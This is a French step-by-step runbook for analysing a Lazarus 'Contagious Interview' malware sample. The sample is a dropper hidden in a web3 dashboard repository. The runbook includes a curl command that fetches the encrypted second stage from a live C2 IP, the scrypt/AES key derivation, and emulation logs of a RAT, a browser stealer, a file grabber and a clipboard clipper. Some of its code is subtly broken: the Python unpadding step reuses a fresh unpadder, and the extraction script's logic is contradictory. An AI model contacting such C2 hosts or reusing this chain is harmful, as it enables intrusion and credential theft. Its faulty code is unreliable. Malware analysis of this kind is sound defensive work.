Runbook : reproduction pas à pas (Lazarus Contagious Interview, pspn-main)

Étapes reproductibles pour cette analyse. Nécessite Python 3.10+ (cryptography), et un interpréteur JavaScript/Node compatible avec le module vm (voir section 3 si node n'est pas installé).


1. Triage initial de l'archive#

sha256sum pspn-main.zip
unzip -l pspn-main.zip | head -20
unzip -oq pspn-main.zip -d pspn-main_extracted
cat pspn-main_extracted/pspn-main/README.md

Vérifier les dépendances déclarées dans package.json :

cat pspn-main_extracted/pspn-main/package.json | grep -A100 '"dependencies"'
# @primno/dpapi et node-machine-id sortent du lot pour un dashboard web3

Chercher un éventuel usage de ces deux paquets dans le code visible du dépôt (aucun trouvé au moment de l'analyse) :

grep -rl "dpapi\|machine-id\|machineId" pspn-main_extracted/pspn-main --include="*.js" --include="*.ts" --include="*.tsx"

2. Repérage de l'injection#

find pspn-main_extracted/pspn-main -not -path "*/node_modules/*" -type f \
  -name "*.js" -exec wc -c {} \; | sort -n -r | head -5
# server/controllers/userController.js: 31763 octets pour 270 lignes -> ~117 octets/ligne,
# très supérieur aux autres fichiers du même répertoire (~35 octets/ligne)

sed -n '8p' pspn-main_extracted/pspn-main/server/controllers/userController.js | wc -c
# ligne 8 : 24892 octets, seule sur toute la ligne 8 du fichier

3. Extraction et préparation du bac à sable#

python3 tools/extract_stage1.py \
  pspn-main_extracted/pspn-main/server/controllers/userController.js \
  tools/stage1_dropper_raw.js

Un interpréteur Node.js complet est nécessaire pour laisser le payload s'auto-décoder (voir lazarus-contagious-interview-pspn.md section 5.2 sur les limites d'une ré-implémentation Python de l'algorithme de décodage). En l'absence de node sur la machine d'analyse, un binaire Electron (VS Code) fait office d'interpréteur Node.js complet :

node --version 2>/dev/null || echo "node absent"

# Alternative : n'importe quel binaire Electron supporte ELECTRON_RUN_AS_NODE=1
ELECTRON_RUN_AS_NODE=1 /usr/share/code/code --version
# -> v24.15.0 (le numéro de version Node embarqué, pas la version de VS Code)

4. Émulation du stage 1#

ELECTRON_RUN_AS_NODE=1 /usr/share/code/code tools/harness.js \
  tools/stage1_dropper_raw.js emu_stage1.json

Sortie attendue (extraits) :

[EMU:require] {"module":"os"}
[EMU:require] {"module":"fs"}
[EMU:require] {"module":"path"}
[EMU:require] {"module":"crypto"}
[EMU:require] {"module":"child_process"}
[EMU:child_process.execSync] {"cmd":"npm install axios socket.io-client --no-warnings --no-progress --loglevel silent", ...}
[EMU:require] {"module":"axios"}
[EMU:crypto.scryptSync] {"args":["99cef4b32f24dcc475a4e7be8d2423c4","salt",32], "ok":true}
[EMU:NETWORK.request] {"url":"http://147.189.172.105/api/service/99cef4b32f24dcc475a4e7be8d2423c4","opts":{"headers":{"Authentication":"jwt"}}}

tools/harness.js intercepte require, fs, child_process et tout appel réseau : rien n'est réellement écrit sur disque, aucun process n'est réellement lancé, aucune requête HTTP réelle n'est envoyée à ce stade (NETWORK.request journalise l'URL puis renvoie une réponse factice ou un rejet selon la configuration du harness, voir le code source pour le détail).

Pour valider le format exact attendu par le déchiffrement, faire échouer volontairement crypto.createDecipheriv avec un IV de mauvaise longueur permet d'observer les arguments réels (algorithme, clé dérivée) dans le journal, sans jamais faire aboutir de vrai déchiffrement à cette étape :

[EMU:crypto.createDecipheriv.THROW] {"args":["aes-256-cbc", "<clé 64 hex>", "<IV>"], "error":"Invalid initialization vector"}

Confirme : algorithme aes-256-cbc, clé dérivée de longueur 32 octets.


5. Récupération réelle du stage 2 (lecture seule)#

curl -sS -m 20 -A "axios/1.7.9" -H "Authentication: jwt" \
  "http://147.189.172.105/api/service/99cef4b32f24dcc475a4e7be8d2423c4" \
  -D headers_stage2.txt -o stage2_response_raw.bin \
  -w "HTTP_STATUS:%{http_code} SIZE:%{size_download}\n"

Résultat attendu au moment de l'analyse (2026-07-27) : HTTP_STATUS:200, corps au format <IV base64>:<ciphertext base64>.

Ne jamais exécuter le contenu reçu. Il ne sert que d'entrée au déchiffrement statique de l'étape suivante.


6. Déchiffrement du stage 2#

python3 tools/decrypt_stage2.py \
  99cef4b32f24dcc475a4e7be8d2423c4 \
  stage2_response_raw.bin \
  tools/stage2_decrypted.js

Sortie attendue :

[+] cle AES : 1bec2729bbab14b6dd113258f824bfb0df60b4a1051e479f1dce0d8b6af72abc
[+] 114745 octets dechiffres -> tools/stage2_decrypted.js

7. Émulation du stage 2 : découverte des 4 sous-modules#

ELECTRON_RUN_AS_NODE=1 /usr/share/code/code tools/harness.js \
  tools/stage2_decrypted.js emu_stage2.json

Sortie attendue (extraits) :

[EMU:fs.writeFileSync] {"path":"/tmp/scdata", ...}
[EMU:child_process.exec] {"cmd":"npm i axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent &&  node scdata", ...}
[EMU:fs.writeFileSync] {"path":"/tmp/ldata", ...}
[EMU:child_process.exec] {"cmd":"npm i axios && node ldata", ...}
[EMU:child_process.spawn] {"cmd":"node","args":["-e","<code grabber>"], ...}
[EMU:child_process.spawn] {"cmd":"node","args":["-e","<code clipper>"], ...}

Extraction des sous-modules depuis le journal JSON (le harness journalise le contenu complet, pas seulement un aperçu tronqué) :

python3 - <<'EOF'
import json
log = json.load(open('emu_stage2.json'))
for e in log:
    if e['kind'] == 'fs.writeFileSync':
        name = e['data']['path'].strip('/').replace('/', '_')
        open(f"tools/stage3_{name}.js", 'w').write(e['data']['content'])
    if e['kind'] == 'child_process.spawn' and e['data']['args'][:1] == ['-e']:
        pass  # cas rare ; ici les scripts spawnés utilisent args=["-e", code]
    if e['kind'] == 'child_process.spawn':
        idx = log.index(e)
        code = e['data']['args'][1]
        open(f"tools/stage3_spawn_{idx}.js", 'w').write(code)
EOF

8. Émulation de chaque sous-module#

for f in tools/stage3_scdata_rat.js tools/stage3_ldata_browser_stealer.js \
         tools/stage3_file_grabber.js tools/stage3_clipboard_monitor.js; do
  echo "=== $f ==="
  timeout 15 env ELECTRON_RUN_AS_NODE=1 /usr/share/code/code tools/harness.js "$f" "/tmp/emu_$(basename "$f").json"
done

Résultats attendus par module :

  • stage3_scdata_rat.js : require de socket.io-client, ssh2, node-pty (après npm install intercepté) ; création d'un fichier verrou /tmp/.npm/vhost.ctl ; lecture de /proc/cpuinfo ; POST de télémétrie vers /api/service/makelog ; connexion Socket.IO vers 147.189.172.105:7861 avec 11 gestionnaires d'événements (start-terminal, terminal-input, terminal-resize, stop-terminal, command, whour, kill, start_ssh, ssh_input, connect, disconnect).
  • stage3_ldata_browser_stealer.js : require('form-data'), vérifications existsSync sur les répertoires de profil Chrome/Edge/Brave/lt-browser.
  • stage3_file_grabber.js : vérifications sur os.homedir() et /mnt, require de form-data/axios/child_process.
  • stage3_clipboard_monitor.js : boucle infinie (watchClipboard), le process ne se termine pas naturellement (timeout nécessaire). Le harness écrit tout de même son journal après 1,5 s grâce au setTimeout de sortie forcée intégré.

Le script clipper ne rendant jamais la main naturellement, augmenter le budget timeout (par exemple à 8-15 s) permet d'observer davantage d'appels execSync (lecture effective du presse-papiers) si le premier cycle de la boucle ne s'est pas encore déclenché.


9. Vérification indépendante du déchiffrement AES#

python3 -c "
import base64, hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding

data = open('stage2_response_raw.bin','rb').read()
iv_b64, ct_b64 = data.split(b':', 1)
iv, ct = base64.b64decode(iv_b64), base64.b64decode(ct_b64)
key = hashlib.scrypt(b'99cef4b32f24dcc475a4e7be8d2423c4', salt=b'salt', n=16384, r=8, p=1, dklen=32)
d = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
pt = d.update(ct) + d.finalize()
pt = padding.PKCS7(128).unpadder().update(pt) + padding.PKCS7(128).unpadder().finalize()
print(len(pt), pt[:80])
"

10. Empreintes de tous les artefacts#

sha256sum pspn-main.zip \
  pspn-main_extracted/pspn-main/server/controllers/userController.js \
  tools/stage1_dropper_raw.js \
  stage2_response_raw.bin \
  tools/stage2_decrypted.js \
  tools/stage3_scdata_rat.js \
  tools/stage3_ldata_browser_stealer.js \
  tools/stage3_file_grabber.js \
  tools/stage3_clipboard_monitor.js

Valeurs attendues : voir le tableau de la section 2 de lazarus-contagious-interview-pspn.md.